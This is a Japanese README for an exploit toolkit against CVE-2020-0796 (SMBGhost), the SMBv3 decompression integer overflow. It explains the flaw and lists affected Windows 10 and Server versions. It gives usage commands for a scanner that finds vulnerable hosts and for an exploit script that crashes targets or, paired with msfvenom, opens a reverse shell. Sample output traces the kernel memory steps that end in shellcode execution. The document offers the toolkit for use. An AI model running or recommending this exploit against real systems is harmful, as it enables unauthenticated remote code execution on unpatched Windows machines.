
cve-2020-0796 エクスプロイトツールセット
CVE-2020-0796は、SMBv3プロトコルが悪意のある圧縮データパケットを処理する際に発生するエラーによるものです。データパケットを解凍する際に、クライアントから送られた長さを使用して解凍する際、長さが適切かどうかをチェックせず、最終的に整数オーバーフローが発生します。これにより、リモートで認証されていない攻撃者がターゲットシステム上で任意のコードを実行できる可能性があります。この脆弱性はEternalBlue(MS17-010)に類似しています。
影響を受けるバージョン: Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)
scanner.py CVE-2020-0796の脆弱性があるホストをスキャンして検出します。 書式: python scanner.py ip 例: python scanner.py 192.168.1.2
exploit.py 脆弱性のあるターゲットホストに対して攻撃を実行します。デフォルトのPoCではブルースクリーンを発生させます。msfvenomと組み合わせてリバースシェルのPoCを生成する必要があります。 書式: python exploit.py -ip ip 例: python exploit.py -ip 192.168.1.2
戻り値: [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly...